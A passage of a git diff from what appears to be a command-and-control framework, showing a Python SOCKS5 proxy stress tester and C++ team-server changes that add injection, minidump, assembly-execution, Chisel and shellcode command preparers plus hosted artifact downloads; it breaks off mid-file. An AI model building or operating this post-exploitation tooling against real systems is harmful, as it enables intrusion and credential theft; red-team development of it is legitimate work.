data.extend(chunk) + return bytes(data) + + +def _resolve_ipv4(host: str, port: int) -> str: + try: + socket.inet_pton(socket.AF_INET, host) + return host + except OSError: + pass + + infos = socket.getaddrinfo(host, port, socket.AF_INET, socket.SOCK_STREAM) + if not infos: + raise RuntimeError(f"could not resolve IPv4 address for {host}") + return str(infos[0][4][0]) + + +def _socks_address(host: str) -> bytes: + try: + return b"\x01" + socket.inet_pton(socket.AF_INET, host) + except OSError: + pass + + try: + return b"\x04" + socket.inet_pton(socket.AF_INET6, host) + except OSError: + pass + + encoded = host.encode("idna") + if len(encoded) > 255: + raise RuntimeError("target host is too long for SOCKS5 domain encoding") + return b"\x03" + bytes([len(encoded)]) + encoded + + +def _read_socks_reply(sock: socket.socket) -> None: + header = _recv_exact(sock, 4, "SOCKS CONNECT reply header") + if header[0] != 5: + raise RuntimeError(f"invalid SOCKS version in reply: {header[0]}") + reply_code = header[1] + atyp = header[3] + + if atyp == 1: + _recv_exact(sock, 4, "SOCKS IPv4 bind address") + elif atyp == 3: + length = _recv_exact(sock, 1, "SOCKS domain length")[0] + _recv_exact(sock, length, "SOCKS domain bind address") + elif atyp == 4: + _recv_exact(sock, 16, "SOCKS IPv6 bind address") + else: + raise RuntimeError(f"invalid SOCKS address type in reply: {atyp}") + _recv_exact(sock, 2, "SOCKS bind port") + + if reply_code != 0: + raise RuntimeError(f"SOCKS CONNECT failed with reply 0x{reply_code:02x}") + + +def _connect_via_socks(config: StressConfig) -> socket.socket: + sock = socket.create_connection((config.proxy_host, config.proxy_port), timeout=config.timeout) + sock.settimeout(config.timeout) + try: + sock.sendall(b"\x05\x01\x00") + greeting = _recv_exact(sock, 2, "SOCKS method selection") + if greeting != b"\x05\x00": + raise RuntimeError(f"SOCKS no-auth negotiation failed: {greeting.hex()}") + + request = ( + b"\x05\x01\x00" + + _socks_address(config.socks_host) + + config.target_port.to_bytes(2, byteorder="big") + ) + sock.sendall(request) + _read_socks_reply(sock) + + if config.scheme == "https": + context = ssl.create_default_context() + sock = context.wrap_socket(sock, server_hostname=config.target_host) + sock.settimeout(config.timeout) + return sock + except Exception: + sock.close() + raise + + +def _build_http_request(config: StressConfig) -> bytes: + lines = [ + f"{config.method} {config.path} HTTP/1.1", + f"Host: {config.host_header}", + "User-Agent: c2-socks-stress/1.0", + "Accept: */*", + "Connection: close", + "", + "", + ] + return "\r\n".join(lines).encode("ascii") + + +def _read_http_response(sock: socket.socket, read_limit: int) -> bytes: + response = bytearray() + while len(response) < read_limit: + chunk = sock.recv(min(8192, read_limit - len(response))) + if not chunk: + break + response.extend(chunk) + if b"\r\n\r\n" in response: + break + return bytes(response) + + +def _status_from_response(response: bytes) -> int | None: + first_line = response.split(b"\r\n", 1)[0] + parts = first_line.split() + if len(parts) < 2: + return None + try: + return int(parts[1]) + except ValueError: + return None + + +def run_one(index: int, config: StressConfig) -> RequestResult: + started = time.monotonic() + sock: socket.socket | None = None + try: + sock = _connect_via_socks(config) + sock.sendall(_build_http_request(config)) + response = _read_http_response(sock, config.read_limit) + status = _status_from_response(response) + if status is None: + raise RuntimeError("HTTP response status could not be parsed") + if config.expect_statuses and status not in config.expect_statuses: + expected = ",".join(str(value) for value in sorted(config.expect_statuses)) + raise RuntimeError(f"unexpected HTTP status {status}, expected {expected}") + + elapsed_ms = (time.monotonic() - started) * 1000.0 + return RequestResult(True, index, elapsed_ms, status=status, bytes_read=len(response)) + except Exception as exc: + elapsed_ms = (time.monotonic() - started) * 1000.0 + return RequestResult(False, index, elapsed_ms, error=str(exc)) + finally: + if sock is not None: + try: + sock.close() + except OSError: + pass + + +def _percentile(values: list[float], percentile: float) -> float: + if not values: + return 0.0 + if len(values) == 1: + return values[0] + ordered = sorted(values) + rank = (len(ordered) - 1) * percentile + lower = int(rank) + upper = min(lower + 1, len(ordered) - 1) + weight = rank - lower + return ordered[lower] * (1.0 - weight) + ordered[upper] * weight + + +def _summarize(results: list[RequestResult], elapsed_s: float) -> bool: + successes = [result for result in results if result.ok] + failures = [result for result in results if not result.ok] + latencies = [result.latency_ms for result in successes] + status_counts = Counter(result.status for result in successes) + error_counts = Counter(result.error for result in failures) + + print("\nSOCKS5 stress summary") + print(f" total: {len(results)}") + print(f" passed: {len(successes)}") + print(f" failed: {len(failures)}") + print(f" elapsed: {elapsed_s:.2f}s") + if elapsed_s > 0: + print(f" throughput: {len(results) / elapsed_s:.2f} req/s") + if status_counts: + statuses = ", ".join(f"{status}:{count}" for status, count in sorted(status_counts.items())) + print(f" statuses: {statuses}") + if latencies: + print( + " latency: " + f"min={min(latencies):.1f}ms " + f"p50={statistics.median(latencies):.1f}ms " + f"p95={_percentile(latencies, 0.95):.1f}ms " + f"p99={_percentile(latencies, 0.99):.1f}ms " + f"max={max(latencies):.1f}ms" + ) + if error_counts: + print(" errors:") + for error, count in error_counts.most_common(10): + print(f" {count}x {error}") + + return not failures + + +def run_stress(config: StressConfig) -> bool: + if not config.quiet: + expected = "any" if not config.expect_statuses else ",".join(str(v) for v in sorted(config.expect_statuses)) + print( + "SOCKS5 stress: " + f"proxy={config.proxy_host}:{config.proxy_port} " + f"url={config.url} " + f"socks_target={config.socks_host}:{config.target_port} " + f"requests={config.requests} " + f"concurrency={config.concurrency} " + f"method={config.method} " + f"expect={expected}" + ) + + started = time.monotonic() + results: list[RequestResult] = [] + completed = 0 + + with concurrent.futures.ThreadPoolExecutor(max_workers=config.concurrency) as executor: + futures = [executor.submit(run_one, index, config) for index in range(config.requests)] + for future in concurrent.futures.as_completed(futures): + result = future.result() + results.append(result) + completed += 1 + if ( + not config.quiet + and config.progress_every > 0 + and (completed % config.progress_every == 0 or completed == config.requests) + ): + failures = sum(1 for item in results if not item.ok) + print(f" progress: {completed}/{config.requests}, failures={failures}") + + elapsed_s = time.monotonic() - started + return _summarize(results, elapsed_s) + + +class _SelfTestHandler(http.server.BaseHTTPRequestHandler): + protocol_version = "HTTP/1.1" + + def do_HEAD(self) -> None: # noqa: N802 - stdlib hook name + self.send_response(200) + self.send_header("Content-Length", "0") + self.end_headers() + + def do_GET(self) -> None: # noqa: N802 - stdlib hook name + body = b"c2-socks-self-test\n" + self.send_response(200) + self.send_header("Content-Type", "text/plain") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def log_message(self, _format: str, *_args: object) -> None: + return + + +class _MiniSocksProxy: + def __init__(self) -> None: + self._stop = threading.Event() + self._server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self._server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self._server.bind(("127.0.0.1", 0)) + self._server.listen(128) + self._server.settimeout(0.2) + self.port = int(self._server.getsockname()[1]) + self._thread = threading.Thread(target=self._serve, daemon=True) + self._handlers: list[threading.Thread] = [] + + def start(self) -> None: + self._thread.start() + + def stop(self) -> None: + self._stop.set() + try: + self._server.close() + except OSError: + pass + self._thread.join(timeout=2.0) + for handler in self._handlers: + handler.join(timeout=0.2) + + def _serve(self) -> None: + while not self._stop.is_set(): + try: + client, _addr = self._server.accept() + except socket.timeout: + continue + except OSError: + break + handler = threading.Thread(target=self._handle_client, args=(client,), daemon=True) + self._handlers.append(handler) + handler.start() + + def _handle_client(self, client: socket.socket) -> None: + upstream: socket.socket | None = None + try: + client.settimeout(5.0) + greeting = _recv_exact(client, 2) + if greeting[0] != 5: + return + methods = _recv_exact(client, greeting[1]) + if 0 not in methods: + client.sendall(b"\x05\xff") + return + client.sendall(b"\x05\x00") + + header = _recv_exact(client, 4) + if header[:3] != b"\x05\x01\x00": + return + host = self._read_request_host(client, header[3]) + port = int.from_bytes(_recv_exact(client, 2), byteorder="big") + upstream = socket.create_connection((host, port), timeout=5.0) + client.sendall(b"\x05\x00\x00\x01\x00\x00\x00\x00\x00\x00") + self._pipe(client, upstream) + except OSError: + return + finally: + try: + client.close() + except OSError: + pass + if upstream is not None: + try: + upstream.close() + except OSError: + pass + + @staticmethod + def _read_request_host(client: socket.socket, atyp: int) -> str: + if atyp == 1: + return socket.inet_ntop(socket.AF_INET, _recv_exact(client, 4)) + if atyp == 3: + length = _recv_exact(client, 1)[0] + return _recv_exact(client, length).decode("idna") + if atyp == 4: + return socket.inet_ntop(socket.AF_INET6, _recv_exact(client, 16)) + raise OSError(f"unsupported address type {atyp}") + + def _pipe(self, client: socket.socket, upstream: socket.socket) -> None: + sockets = [client, upstream] + for sock in sockets: + sock.setblocking(False) + while not self._stop.is_set(): + readable, _, exceptional = select.select(sockets, [], sockets, 0.2) + if exceptional: + return + for source in readable: + try: + data = source.recv(65536) + except BlockingIOError: + continue + if not data: + return + target = upstream if source is client else client + target.sendall(data) + + +def run_self_test() -> int: + httpd = http.server.ThreadingHTTPServer(("127.0.0.1", 0), _SelfTestHandler) + http_thread = threading.Thread(target=httpd.serve_forever, daemon=True) + proxy = _MiniSocksProxy() + + try: + http_thread.start() + proxy.start() + http_port = int(httpd.server_address[1]) + config = StressConfig( + proxy_host="127.0.0.1", + proxy_port=proxy.port, + url=f"http://127.0.0.1:{http_port}/", + scheme="http", + target_host="127.0.0.1", + target_port=http_port, + socks_host="127.0.0.1", + path="/", + host_header=f"127.0.0.1:{http_port}", + method="HEAD", + requests=24, + concurrency=6, + timeout=3.0, + expect_statuses=frozenset({200}), + read_limit=8192, + progress_every=12, + quiet=False, + ) + if not run_stress(config): + return 1 + hostname_config = dataclasses.replace( + config, + url=f"http://localhost:{http_port}/", + target_host="localhost", + socks_host="localhost", + host_header=f"localhost:{http_port}", + ) + if not run_stress(hostname_config): + return 1 + print("self-test passed") + return 0 + finally: + proxy.stop() + httpd.shutdown() + httpd.server_close() + + +def parse_args(argv: Iterable[str]) -> argparse.Namespace: + parser = argparse.ArgumentParser( + description="Stress-test a SOCKS5 endpoint with concurrent HTTP(S) requests.", + ) + parser.add_argument("--self-test", action="store_true", help="Run an in-process HTTP+SOCKS self-test.") + parser.add_argument("--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host.") + parser.add_argument("--proxy-port", default=1080, type=_port, help="SOCKS5 proxy port.") + parser.add_argument("--url", default=DEFAULT_URL, help="HTTP(S) URL to request through the proxy.") + parser.add_argument( + "--socks-hostname", + action="store_true", + help="Send the URL hostname to SOCKS instead of resolving it locally to IPv4. This validates remote hostname resolution from the beacon context.", + ) + parser.add_argument("--method", choices=("HEAD", "GET"), default="HEAD", help="HTTP method to send.") + parser.add_argument("--requests", default=100, type=_positive_int, help="Total request count.") + parser.add_argument("--concurrency", default=10, type=_positive_int, help="Concurrent worker count.") + parser.add_argument("--timeout", default=8.0, type=_positive_float, help="Per-request timeout in seconds.") + parser.add_argument( + "--expect-status", + action="append", + help="Expected HTTP status. Can be repeated or comma-separated. Defaults to 200.", + ) + parser.add_argument("--no-status-check", action="store_true", help="Accept any parseable HTTP status.") + parser.add_argument("--read-limit", default=65536, type=_positive_int, help="Maximum bytes to read per response.") + parser.add_argument("--progress-every", default=25, type=int, help="Print progress every N completions; 0 disables.") + parser.add_argument("--quiet", action="store_true", help="Suppress progress output.") + return parser.parse_args(list(argv)) + + +def config_from_args(args: argparse.Namespace) -> StressConfig: + scheme, target_host, target_port, path = _parse_url(args.url) + socks_host = target_host if args.socks_hostname else _resolve_ipv4(target_host, target_port) + expect_statuses = _parse_expected_statuses(args.expect_status, args.no_status_check) + return StressConfig( + proxy_host=args.proxy_host, + proxy_port=args.proxy_port, + url=args.url, + scheme=scheme, + target_host=target_host, + target_port=target_port, + socks_host=socks_host, + path=path, + host_header=_host_header(target_host, target_port, scheme), + method=args.method, + requests=args.requests, + concurrency=args.concurrency, + timeout=args.timeout, + expect_statuses=expect_statuses, + read_limit=args.read_limit, + progress_every=max(args.progress_every, 0), + quiet=args.quiet, + ) + + +def main(argv: Iterable[str] | None = None) -> int: + args = parse_args(sys.argv[1:] if argv is None else argv) + if args.self_test: + return run_self_test() + config = config_from_args(args) + return 0 if run_stress(config) else 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/teamServer/CMakeLists.txt b/teamServer/CMakeLists.txt index 08910b0..8778080 100644 --- a/teamServer/CMakeLists.txt +++ b/teamServer/CMakeLists.txt @@ -3,11 +3,25 @@ include_directories(../core/modules/ModuleCmd) set(TEAMSERVER_CORE_SOURCES teamServer/TeamServer.cpp + teamServer/TeamServerAssemblyExecCommandPreparer.cpp + teamServer/TeamServerArtifactCatalog.cpp + teamServer/TeamServerArtifactService.cpp teamServer/TeamServerAuth.cpp + teamServer/TeamServerChiselCommandPreparer.cpp + teamServer/TeamServerCommandCatalog.cpp + teamServer/TeamServerCommandCatalogService.cpp teamServer/TeamServerCommandPreparationService.cpp + teamServer/TeamServerFileArtifactService.cpp + teamServer/TeamServerFileTransferCommandPreparer.cpp + teamServer/TeamServerGeneratedArtifactStore.cpp teamServer/TeamServerHelpService.cpp + teamServer/TeamServerInjectCommandPreparer.cpp teamServer/TeamServerListenerArtifactService.cpp teamServer/TeamServerModuleLoader.cpp + teamServer/TeamServerMiniDumpCommandPreparer.cpp + teamServer/TeamServerModuleArtifactCommandPreparer.cpp + teamServer/TeamServerScriptCommandPreparer.cpp + teamServer/TeamServerShellcodeService.cpp teamServer/TeamServerSocksService.cpp teamServer/TeamServerTermLocalService.cpp teamServer/TeamServerRuntimeConfig.cpp @@ -42,6 +56,8 @@ set(TEAMSERVER_CORE_LINK_LIBS grpc::grpc spdlog::spdlog SocksServer + Donut + ${aplib64} dl rt ) @@ -76,6 +92,31 @@ target_link_libraries(server_core add_executable(TeamServer teamServer/main.cpp) target_link_libraries(TeamServer PRIVATE server_core) +set(C2_COMMON_COMMAND_SPEC_ROOT "${CMAKE_SOURCE_DIR}/core/modules/ModuleCmd/CommandSpecs") +file(GLOB_RECURSE C2_COMMON_COMMAND_SPEC_FILES CONFIGURE_DEPENDS + "${C2_COMMON_COMMAND_SPEC_ROOT}/*.json") +file(GLOB C2_MODULE_COMMAND_SPEC_FILES CONFIGURE_DEPENDS + "${CMAKE_SOURCE_DIR}/core/modules/*/*.json") +set(C2_COPY_MODULE_COMMAND_SPEC_COMMANDS) +foreach(C2_MODULE_COMMAND_SPEC_FILE IN LISTS C2_MODULE_COMMAND_SPEC_FILES) + get_filename_component(C2_MODULE_COMMAND_SPEC_NAME "${C2_MODULE_COMMAND_SPEC_FILE}" NAME) + list(APPEND C2_COPY_MODULE_COMMAND_SPEC_COMMANDS + COMMAND ${CMAKE_COMMAND} -E copy + "${C2_MODULE_COMMAND_SPEC_FILE}" "${C2_RUNTIME_ROOT}/CommandSpecs/modules/${C2_MODULE_COMMAND_SPEC_NAME}") +endforeach() +add_custom_target(teamserver_copy_command_specs + COMMAND ${CMAKE_COMMAND} -E make_directory "${C2_RUNTIME_ROOT}" + COMMAND ${CMAKE_COMMAND} -E remove_directory "${C2_RUNTIME_ROOT}/CommandSpecs" + COMMAND ${CMAKE_COMMAND} -E copy_directory + "${C2_COMMON_COMMAND_SPEC_ROOT}" "${C2_RUNTIME_ROOT}/CommandSpecs" + COMMAND ${CMAKE_COMMAND} -E make_directory + "${C2_RUNTIME_ROOT}/CommandSpecs/modules" + ${C2_COPY_MODULE_COMMAND_SPEC_COMMANDS} + DEPENDS ${C2_COMMON_COMMAND_SPEC_FILES} ${C2_MODULE_COMMAND_SPEC_FILES} + VERBATIM +) +add_dependencies(TeamServer teamserver_copy_command_specs) + add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy $ "${C2_TEAMSERVER_RUNTIME_OUTPUT_DIR}/$") add_custom_command(TARGET TeamServer POST_BUILD COMMAND ${CMAKE_COMMAND} -E copy @@ -112,6 +153,16 @@ if(WITH_TESTS) tests/TeamServerListenerArtifactServiceTests.cpp ) + teamserver_add_test(testsTeamServerArtifactCatalog + server_core + tests/TeamServerArtifactCatalogTests.cpp + ) + + teamserver_add_test(testsTeamServerCommandCatalog + server_core + tests/TeamServerCommandCatalogTests.cpp + ) + teamserver_add_test(testsTeamServerSocksService server_core tests/TeamServerSocksServiceTests.cpp diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 6ed9857..ad6269c 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -1,12 +1,26 @@ #include "TeamServer.hpp" +#include "TeamServerArtifactCatalog.hpp" +#include "TeamServerArtifactService.hpp" +#include "TeamServerAssemblyExecCommandPreparer.hpp" #include "TeamServerAuth.hpp" #include "TeamServerBootstrap.hpp" +#include "TeamServerChiselCommandPreparer.hpp" +#include "TeamServerCommandCatalog.hpp" +#include "TeamServerCommandCatalogService.hpp" #include "TeamServerCommandPreparationService.hpp" +#include "TeamServerFileArtifactService.hpp" +#include "TeamServerFileTransferCommandPreparer.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" #include "TeamServerHelpService.hpp" +#include "TeamServerInjectCommandPreparer.hpp" #include "TeamServerListenerArtifactService.hpp" #include "TeamServerListenerSessionService.hpp" +#include "TeamServerMiniDumpCommandPreparer.hpp" #include "TeamServerModuleLoader.hpp" +#include "TeamServerModuleArtifactCommandPreparer.hpp" +#include "TeamServerScriptCommandPreparer.hpp" +#include "TeamServerShellcodeService.hpp" #include "TeamServerSocksService.hpp" #include "TeamServerTermLocalService.hpp" #include "TeamServerRuntimeConfig.hpp" @@ -29,6 +43,30 @@ inline bool port_in_use(unsigned short port) return 0; } +namespace +{ +std::string trimTrailingPathSeparators(std::string path) +{ + while (!path.empty() && (path.back() == '/' || path.back() == '\\')) + path.pop_back(); + return path; +} + +void configureHostedDownloadFolders(nlohmann::json& config, const TeamServerRuntimeConfig& runtimeConfig) +{ + const std::string hostedPath = trimTrailingPathSeparators(runtimeConfig.hostedArtifactsDirectoryPath); + if (hostedPath.empty()) + return; + + for (const char* section : {"ListenerHttpConfig", "ListenerHttpsConfig"}) + { + if (!config[section].is_object()) + config[section] = nlohmann::json::object(); + config[section]["downloadFolder"] = hostedPath; + } +} +} // namespace + std::string getIPAddress(const std::string& interface); grpc::Status TeamServer::ensureAuthenticated(grpc::ServerContext* context) @@ -44,14 +82,28 @@ TeamServer::TeamServer(const nlohmann::json& config) TeamServerRuntimeConfig runtimeConfig = TeamServerRuntimeConfig::fromJson(config); runtimeConfig.validateDirectories(m_logger); runtimeConfig.configureCommonCommands(m_commonCommands); + configureHostedDownloadFolders(m_config, runtimeConfig); m_authManager = std::make_unique(m_logger); m_authManager->configure(config); + m_generatedArtifactStore = std::make_shared(runtimeConfig); + m_fileArtifactService = std::make_shared( + m_logger, + runtimeConfig, + m_generatedArtifactStore); + m_shellcodeService = std::make_shared(m_logger); + m_artifactService = std::make_unique( + m_logger, + TeamServerArtifactCatalog(runtimeConfig)); + m_commandCatalogService = std::make_unique( + m_logger, + TeamServerCommandCatalog(runtimeConfig)); m_helpService = std::make_unique( m_logger, m_listeners, m_moduleCmd, - m_commonCommands); + m_commonCommands, + TeamServerCommandCatalog(runtimeConfig)); m_listenerSessionService = std::make_unique( m_logger, m_config, @@ -61,6 +113,7 @@ TeamServer::TeamServer(const nlohmann::json& config) m_cmdResponses, m_sentResponses, m_sentCommands, + m_fileArtifactService, [this](const std::string& input, C2Message& c2Message, bool isWindows, const std::string& windowsArch) { return this->prepMsg(input, c2Message, isWindows, windowsArch); }); m_listenerArtifactService = std::make_unique( @@ -74,11 +127,47 @@ TeamServer::TeamServer(const nlohmann::json& config) }); m_moduleLoader = std::make_unique(m_logger, runtimeConfig); m_socksService = std::make_unique(m_logger, m_listeners); + std::vector> commandPreparers; + commandPreparers.push_back(std::make_unique( + m_logger, + runtimeConfig, + m_shellcodeService, + m_generatedArtifactStore, + m_moduleCmd)); + commandPreparers.push_back(std::make_unique( + m_logger, + runtimeConfig, + m_shellcodeService, + m_generatedArtifactStore, + m_moduleCmd)); + commandPreparers.push_back(std::make_unique( + m_logger, + runtimeConfig, + m_shellcodeService, + m_generatedArtifactStore, + m_moduleCmd)); + commandPreparers.push_back(std::make_unique( + m_logger, + m_fileArtifactService, + m_moduleCmd)); + commandPreparers.push_back(std::make_unique( + m_logger, + m_fileArtifactService, + m_moduleCmd)); + commandPreparers.push_back(std::make_unique( + m_logger, + m_fileArtifactService, + m_moduleCmd)); + commandPreparers.push_back(std::make_unique( + m_logger, + m_fileArtifactService, + m_moduleCmd)); m_commandPreparationService = std::make_unique( m_logger, - runtimeConfig.teamServerModulesDirectoryPath, + runtimeConfig, m_commonCommands, - m_moduleCmd); + m_moduleCmd, + std::move(commandPreparers)); m_termLocalService = std::make_unique( m_logger, m_config, @@ -163,6 +252,57 @@ grpc::Status TeamServer::StopSession(grpc::ServerContext* context, const teamser return m_listenerSessionService->stopSession(*sessionToStop, response); } +grpc::Status TeamServer::ListArtifacts(grpc::ServerContext* context, const teamserverapi::ArtifactQuery* query, grpc::ServerWriter* writer) +{ + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + return m_artifactService->listArtifacts(*query, [&](const teamserverapi::ArtifactSummary& artifact) + { return writer->Write(artifact); }); +} + +grpc::Status TeamServer::DownloadArtifact(grpc::ServerContext* context, const teamserverapi::ArtifactSelector* selector, teamserverapi::ArtifactContent* response) +{ + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + return m_artifactService->downloadArtifact(*selector, response); +} + +grpc::Status TeamServer::UploadArtifact(grpc::ServerContext* context, const teamserverapi::ArtifactUploadRequest* request, teamserverapi::OperationAck* response) +{ + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + return m_artifactService->uploadArtifact(*request, response); +} + +grpc::Status TeamServer::DeleteGeneratedArtifact(grpc::ServerContext* context, const teamserverapi::ArtifactSelector* selector, teamserverapi::OperationAck* response) +{ + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + return m_artifactService->deleteGeneratedArtifact(*selector, response); +} + +grpc::Status TeamServer::ListCommands(grpc::ServerContext* context, const teamserverapi::CommandQuery* query, grpc::ServerWriter* writer) +{ + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + return m_commandCatalogService->listCommands(*query, [&](const teamserverapi::CommandSpec& command) + { return writer->Write(command); }); +} + +grpc::Status TeamServer::ListModules(grpc::ServerContext* context, const teamserverapi::SessionSelector* session, grpc::ServerWriter* writer) +{ + auto authStatus = ensureAuthenticated(context); + if (!authStatus.ok()) + return authStatus; + return m_listenerSessionService->streamModulesForSession(*session, [&](const teamserverapi::LoadedModule& module) + { return writer->Write(module); }); +} + grpc::Status TeamServer::SendSessionCommand(grpc::ServerContext* context, const teamserverapi::SessionCommandRequest* command, teamserverapi::CommandAck* response) { auto authStatus = ensureAuthenticated(context); @@ -305,7 +445,6 @@ grpc::Status TeamServer::ExecuteTerminalCommand(grpc::ServerContext* context, co m_logger->debug("socks {0}", cmd); return m_socksService->handleCommand(splitedCmd, response); } - // TODO add a clean www directory !!! else { responseTmp.set_result("Error: not implemented."); diff --git a/teamServer/teamServer/TeamServer.hpp b/teamServer/teamServer/TeamServer.hpp index 20e4249..2e88bb0 100644 --- a/teamServer/teamServer/TeamServer.hpp +++ b/teamServer/teamServer/TeamServer.hpp @@ -30,12 +30,17 @@ #include "nlohmann/json.hpp" class TeamServerAuthManager; +class TeamServerArtifactService; +class TeamServerCommandCatalogService; +class TeamServerFileArtifactService; +class TeamServerGeneratedArtifactStore; class TeamServerHelpService; class TeamServerListenerSessionService; class TeamServerListenerArtifactService; class TeamServerModuleLoader; class TeamServerSocksService; class TeamServerCommandPreparationService; +class TeamServerShellcodeService; class TeamServerTermLocalService; class TeamServer final : public teamserverapi::TeamServerApi::Service @@ -53,6 +58,13 @@ class TeamServer final : public teamserverapi::TeamServerApi::Service grpc::Status ListSessions(grpc::ServerContext* context, const teamserverapi::Empty* empty, grpc::ServerWriter* writer) override; grpc::Status StopSession(grpc::ServerContext* context, const teamserverapi::SessionSelector* sessionToStop, teamserverapi::OperationAck* response) override; + grpc::Status ListArtifacts(grpc::ServerContext* context, const teamserverapi::ArtifactQuery* query, grpc::ServerWriter* writer) override; + grpc::Status DownloadArtifact(grpc::ServerContext* context, const teamserverapi::ArtifactSelector* selector, teamserverapi::ArtifactContent* response) override; + grpc::Status UploadArtifact(grpc::ServerContext* context, const teamserverapi::ArtifactUploadRequest* request, teamserverapi::OperationAck* response) override; + grpc::Status DeleteGeneratedArtifact(grpc::ServerContext* context, const teamserverapi::ArtifactSelector* selector, teamserverapi::OperationAck* response) override; + grpc::Status ListCommands(grpc::ServerContext* context, const teamserverapi::CommandQuery* query, grpc::ServerWriter* writer) override; + grpc::Status ListModules(grpc::ServerContext* context, const teamserverapi::SessionSelector* session, grpc::ServerWriter* writer) override; + grpc::Status SendSessionCommand(grpc::ServerContext* context, const teamserverapi::SessionCommandRequest* command, teamserverapi::CommandAck* response) override; grpc::Status StreamSessionCommandResults(grpc::ServerContext* context, const teamserverapi::SessionSelector* session, grpc::ServerWriter* writer) override; @@ -90,11 +102,16 @@ class TeamServer final : public teamserverapi::TeamServerApi::Service std::vector m_sentCommands; std::unique_ptr m_authManager; + std::unique_ptr m_artifactService; + std::unique_ptr m_commandCatalogService; + std::shared_ptr m_fileArtifactService; + std::shared_ptr m_generatedArtifactStore; std::unique_ptr m_helpService; std::unique_ptr m_listenerSessionService; std::unique_ptr m_listenerArtifactService; std::unique_ptr m_moduleLoader; std::unique_ptr m_socksService; std::unique_ptr m_commandPreparationService; + std::shared_ptr m_shellcodeService; std::unique_ptr m_termLocalService; }; diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.cpp b/teamServer/teamServer/TeamServerArtifactCatalog.cpp new file mode 100644 index 0000000..39c6e25 --- /dev/null +++ b/teamServer/teamServer/TeamServerArtifactCatalog.cpp @@ -0,0 +1,764 @@ +#include "TeamServerArtifactCatalog.hpp" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +namespace fs = std::filesystem; +using json = nlohmann::json; + +namespace +{ +constexpr const char* ReleaseSource = "release"; + +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +bool containsCaseInsensitive(const std::string& haystack, const std::string& needle) +{ + if (needle.empty()) + return true; + return toLower(haystack).find(toLower(needle)) != std::string::npos; +} + +bool matchesExactOrAny(const std::string& requested, const std::string& actual) +{ + if (requested.empty()) + return true; + + const std::string requestedLower = toLower(requested); + const std::string actualLower = toLower(actual); + return actualLower == requestedLower || actualLower == "any"; +} + +bool matchesExact(const std::string& requested, const std::string& actual) +{ + return requested.empty() || toLower(requested) == toLower(actual); +} + +bool matchesQuery(const TeamServerArtifactRecord& artifact, const TeamServerArtifactQuery& query) +{ + return matchesExact(query.category, artifact.category) + && matchesExact(query.scope, artifact.scope) + && matchesExact(query.target, artifact.target) + && matchesExactOrAny(query.platform, artifact.platform) + && matchesExactOrAny(query.arch, artifact.arch) + && matchesExact(query.runtime, artifact.runtime) + && matchesExact(query.format, artifact.format) + && containsCaseInsensitive(artifact.name, query.nameContains); +} + +std::string bytesToHex(const unsigned char* bytes, unsigned int length) +{ + std::ostringstream output; + output << std::hex << std::setfill('0'); + for (unsigned int index = 0; index < length; ++index) + output << std::setw(2) << static_cast(bytes[index]); + return output.str(); +} + +std::string sha256String(const std::string& value) +{ + std::array digest = {}; + unsigned int digestLength = 0; + + EVP_MD_CTX* context = EVP_MD_CTX_new(); + if (!context) + return ""; + + const bool ok = EVP_DigestInit_ex(context, EVP_sha256(), nullptr) == 1 + && EVP_DigestUpdate(context, value.data(), value.size()) == 1 + && EVP_DigestFinal_ex(context, digest.data(), &digestLength) == 1; + EVP_MD_CTX_free(context); + + if (!ok) + return ""; + return bytesToHex(digest.data(), digestLength); +} + +std::string sha256File(const fs::path& path) +{ + std::ifstream input(path, std::ios::binary); + if (!input.good()) + return ""; + + EVP_MD_CTX* context = EVP_MD_CTX_new(); + if (!context) + return ""; + + bool ok = EVP_DigestInit_ex(context, EVP_sha256(), nullptr) == 1; + std::array buffer = {}; + while (ok && input.good()) + { + input.read(buffer.data(), static_cast(buffer.size())); + const std::streamsize bytesRead = input.gcount(); + if (bytesRead > 0) + ok = EVP_DigestUpdate(context, buffer.data(), static_cast(bytesRead)) == 1; + } + + std::array digest = {}; + unsigned int digestLength = 0; + if (ok) + ok = EVP_DigestFinal_ex(context, digest.data(), &digestLength) == 1; + EVP_MD_CTX_free(context); + + if (!ok) + return ""; + return bytesToHex(digest.data(), digestLength); +} + +std::string jsonString(const json& input, const char* key, const std::string& fallback = "") +{ + auto it = input.find(key); + if (it == input.end() || !it->is_string()) + return fallback; + return it->get(); +} + +std::vector jsonStringList(const json& input, const char* key) +{ + std::vector values; + auto it = input.find(key); + if (it == input.end() || !it->is_array()) + return values; + for (const auto& value : *it) + { + if (value.is_string()) + values.push_back(value.get()); + } + return values; +} + +bool hasHiddenComponent(const fs::path& relativePath) +{ + for (const auto& component : relativePath) + { + const std::string value = component.string(); + if (!value.empty() && value.front() == '.') + return true; + } + return false; +} + +bool isPathWithinRoot(const fs::path& path, const fs::path& root) +{ + std::error_code ec; + const fs::path canonicalRoot = fs::weakly_canonical(root, ec); + if (ec) + return false; + + const fs::path canonicalPath = fs::weakly_canonical(path, ec); + if (ec) + return false; + + auto rootIt = canonicalRoot.begin(); + auto pathIt = canonicalPath.begin(); + for (; rootIt != canonicalRoot.end(); ++rootIt, ++pathIt) + { + if (pathIt == canonicalPath.end() || *pathIt != *rootIt) + return false; + } + return true; +} + +std::string detectFormat(const fs::path& path) +{ + std::string extension = path.extension().string(); + if (extension.empty()) + return "binary"; + if (extension.front() == '.') + 